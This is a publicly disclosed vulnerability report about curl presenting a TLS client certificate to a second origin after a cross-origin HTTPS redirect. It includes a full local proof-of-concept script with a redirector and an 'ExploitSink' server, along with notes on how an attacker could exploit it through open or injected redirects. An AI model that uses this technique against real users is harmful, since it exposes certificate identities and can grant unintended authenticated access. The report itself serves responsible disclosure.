HexBrain

curl · Report #3749428

curl cross-origin HTTPS redirect reuses TLS client certificate for unintended second-origin mTLS authentication

Informativestatus
lowseverity
11upvotes
7 Jun 2026disclosed

How it was found

Summary:

When curl follows an HTTPS redirect to a different origin under normal -L / CURLOPT_FOLLOWLOCATION behavior, it still presents the configured TLS client certificate to the redirected-to HTTPS server. This happens without --location-trusted / CURLOPT_UNRESTRICTED_AUTH, even though curl already protects Authorization: and Cookie: from crossing origins by default. An attacker can exploit this by controlling the redirect from a first HTTPS origin to a second HTTPS origin that requests client certificates, which lets the second origin learn the victim's certificate identity and obtain a real proof-of-possession event for that identity. If the second origin or its gateway trusts the same client CA for mTLS authorization, the victim can be unintentionally authenticated to that second origin. The inline PoC below demonstrates both effects: the second origin receives the client certificate and only returns a protected response after authenticating the redirected client certificate.

Affected version

Validated locally on:

curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libpsl/0.21.2

Platform:

Linux L-G4274LMD-1548 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

The affected behavior is in ordinary redirect handling and TLS client-certificate setup. I reproduced it with the curl CLI, but the same issue applies to libcurl callers using CURLOPT_FOLLOWLOCATION together with CURLOPT_SSLCERT / CURLOPT_SSLKEY or the blob variants.

Steps To Reproduce:

From the repository root, run the following self-contained script. It does not depend on any local PoC file. It generates a temporary CA, a server certificate, a client certificate, starts two local HTTPS origins, makes the first one redirect to the second, and proves that the second origin can turn the redirected client certificate into a protected mTLS-authenticated response. The script also includes a control check showing that a normal Authorization: header set with -u alice:secret does not cross the same origin boundary.

set -euo pipefail

ROOT="$PWD"
CURL_BIN="$ROOT/src/.libs/curl"

if [ ! -x "$CURL_BIN" ]; then
  echo "expected a built curl binary at $CURL_BIN" >&2
  exit 1
fi

command -v python3 >/dev/null 2>&1 || {
  echo "python3 is required" >&2
  exit 1
}

command -v openssl >/dev/null 2>&1 || {
  echo "openssl is required" >&2
  exit 1
}

export CURL_BIN

python3 - <<'PY'
import http.server
import json
import os
import shutil
import ssl
import subprocess
import tempfile
import threading
from pathlib import Path


curl_bin = os.environ["CURL_BIN"]
tmp = Path(tempfile.mkdtemp(prefix="curl-client-cert-redirect-mtls-"))


def run(cmd):
    subprocess.run(
        cmd,
        cwd=tmp,
        check=True,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
    )


def serve(handler, certfile, keyfile, cafile=None, need_client_cert=False):
    httpd = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(str(certfile), str(keyfile))
    if need_client_cert:
        ctx.load_verify_locations(cafile=str(cafile))
        ctx.verify_mode = ssl.CERT_OPTIONAL
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    thread = threading.Thread(target=httpd.serve_forever, daemon=True)
    thread.start()
    return httpd


def cert_cn(cert):
    if not cert:
        return ""
    subject = dict(item[0] for item in cert.get("subject", []))
    return subject.get("commonName", "")


try:
    (tmp / "server.ext").write_text(
        "subjectAltName=DNS:localhost,IP:127.0.0.1\n"
        "extendedKeyUsage=serverAuth\n",
        encoding="ascii",
    )
    (tmp / "client.ext").write_text(
        "extendedKeyUsage=clientAuth\n",
        encoding="ascii",
    )

    run([
        "openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes",
        "-keyout", "ca.key", "-out", "ca.crt",
        "-subj", "/CN=PoC CA", "-days", "1",
    ])
    run([
        "openssl", "req", "-newkey", "rsa:2048", "-nodes",
        "-keyout", "server.key", "-out", "server.csr",
        "-subj", "/CN=localhost",
    ])
    run([
        "openssl", "x509", "-req", "-in", "server.csr",
        "-CA", "ca.crt", "-CAkey", "ca.key", "-CAcreateserial",
        "-out", "server.crt", "-days", "1", "-extfile", "server.ext",
    ])
    run([
        "openssl", "req", "-newkey", "rsa:2048", "-nodes",
        "-keyout", "client.key", "-out", "client.csr",
        "-subj", "/CN=redirect-client",
    ])
    run([
        "openssl", "x509", "-req", "-in", "client.csr",
        "-CA", "ca.crt", "-CAkey", "ca.key", "-CAcreateserial",
        "-out", "client.crt", "-days", "1", "-extfile", "client.ext",
    ])

    state = {
        "exploit_peer_cert": None,
        "auth_second_origin_header": None,
    }

    class Redirect(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(302)
            self.send_header("Location", self.server.redirect_target)
            self.send_header("Content-Length", "0")
            self.end_headers()

        def log_message(self, fmt, *args):
            pass

    class ExploitSink(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            state["exploit_peer_cert"] = self.connection.getpeercert()
            cn = cert_cn(state["exploit_peer_cert"])
            if cn:
                body = (
                    f"ATTACKER-SECRET: accepted redirected mTLS identity {cn}\n"
                ).encode("ascii")
                self.send_response(200)
            else:
                body = b"missing client certificate\n"
                self.send_response(403)
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)

        def log_message(self, fmt, *args):
            pass

    class AuthSink(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            state["auth_second_origin_header"] = self.headers.get(
                "Authorization"
            )
            body = b"ok\n"
            self.send_response(200)
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)

        def log_message(self, fmt, *args):
            pass

    exploit_sink = serve(
        ExploitSink,
        tmp / "server.crt",
        tmp / "server.key",
        cafile=tmp / "ca.crt",
        need_client_cert=True,
    )
    exploit_redirect = serve(
        Redirect,
        tmp / "server.crt",
        tmp / "server.key",
    )
    exploit_redirect.redirect_target = (
        f"https://localhost:{exploit_sink.server_address[1]}/steal"
    )

    exploit_cmd = [
        curl_bin,
        "-fsS",
        "-L",
        "--cacert", str(tmp / "ca.crt"),
        "--cert", str(tmp / "client.crt"),
        "--key", str(tmp / "client.key"),
        f"https://localhost:{exploit_redirect.server_address[1]}/start",
    ]
    exploit_run = subprocess.run(exploit_cmd, capture_output=True, text=True)

    exploit_redirect.shutdown()
    exploit_sink.shutdown()
    exploit_redirect.server_close()
    exploit_sink.server_close()

    auth_sink = serve(
        AuthSink,
        tmp / "server.crt",
        tmp / "server.key",
    )
    auth_redirect = serve(
        Redirect,
        tmp / "server.crt",
        tmp / "server.key",
    )
    auth_redirect.redirect_target = (
        f"https://localhost:{auth_sink.server_address[1]}/final"
    )

    auth_cmd = [
        curl_bin,
        "-sS",
        "-L",
        "--cacert", str(tmp / "ca.crt"),
        "-u", "alice:secret",
        f"https://localhost:{auth_redirect.server_address[1]}/start",
    ]
    auth_run = subprocess.run(auth_cmd, capture_output=True, text=True)

    auth_redirect.shutdown()
    auth_sink.shutdown()
    auth_redirect.server_close()
    auth_sink.server_close()

    peer_cert = state["exploit_peer_cert"]
    peer_cn = cert_cn(peer_cert)
    auth_header = state["auth_second_origin_header"]
    attacker_body = exploit_run.stdout.strip() or "<empty>"

    print(f"curl binary: {curl_bin}")
    print(f"exploit redirect exit: {exploit_run.returncode}")
    print(f"authorization redirect exit: {auth_run.returncode}")
    print(
        "client cert observed on second origin: "
        f"{'yes' if peer_cert else 'no'}"
    )
    print(f"client cert CN on second origin: {peer_cn or '<none>'}")
    print(f"attacker response body: {attacker_body}")
    print(
        "authorization header observed on second origin: "
        f"{auth_header or '<none>'}"
    )
    print("raw exploit stderr:", exploit_run.stderr.strip() or "<empty>")
    print("raw auth stderr:", auth_run.stderr.strip() or "<empty>")

    if not peer_cert:
        raise SystemExit(
            "NOT VULNERABLE: second origin did not receive a client certificate"
        )

    if "ATTACKER-SECRET:" not in exploit_run.stdout:
        raise SystemExit(
            "NOT VULNERABLE: second origin did not turn the redirected client "
            "certificate into a protected mTLS-authenticated response"
        )

    if auth_header is not None:
        raise SystemExit(
            "Unexpected result: Authorization header also reached the second origin"
        )

    print(
        "VULNERABLE: cross-origin redirect let the second HTTPS origin "
        "authenticate the victim with the configured TLS client certificate"
    )
    print("DETAILS=" + json.dumps({
        "attacker_response_body": attacker_body,
        "authorization_header_on_second_origin": auth_header,
        "client_cert_cn": peer_cn,
        "client_cert_on_second_origin": True,
    }, sort_keys=True))
finally:
    shutil.rmtree(tmp, ignore_errors=True)
PY

On my side this prints:

  • client cert observed on second origin: yes
  • client cert CN on second origin: redirect-client
  • attacker response body: ATTACKER-SECRET: accepted redirected mTLS identity redirect-client
  • authorization header observed on second origin: <none>
  • VULNERABLE: cross-origin redirect let the second HTTPS origin authenticate the victim with the configured TLS client certificate

Why this is exploitable in practice:

  • the attacker does not need to steal the private key file itself
  • the second origin gets a real proof-of-possession event for the client certificate identity
  • if the second origin or an mTLS gateway in front of it trusts the same client CA, the victim can be unintentionally authenticated to that second origin
  • a realistic first-hop control point can be an attacker-operated site, a compromised origin, an injected redirect, or an open-redirect style primitive on a trusted site

Relevant code path in the current tree:

  • lib/url.c and lib/vauth/vauth.c explicitly keep HTTP auth data origin-bound on redirects
  • lib/vtls/vtls.c copies the configured client certificate into the SSL config unconditionally
  • lib/vtls/openssl.c and lib/vtls/gtls.c then load the client certificate whenever configured, with no redirect-origin check

Impact

Summary:

An attacker who can control the redirect returned by a first HTTPS origin can make curl authenticate the victim to a different HTTPS origin with a TLS client certificate that should have remained bound to the original origin. This leaks the certificate identity and gives the second origin a real proof-of-possession event for the corresponding private key. In environments where the second origin, reverse proxy, API gateway, service mesh, or zero-trust edge trusts the same client CA for mTLS authorization, this can produce unintended authenticated access, victim-scoped responses, or misattributed audit events on the second origin. Even when the second origin does not grant access, it can still harvest client-certificate identities and distinguish valid mTLS-capable clients from unauthenticated ones. The PoC shows a minimal but concrete version of that exploitation path by making the second origin return a protected response only when the redirected client certificate is accepted.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original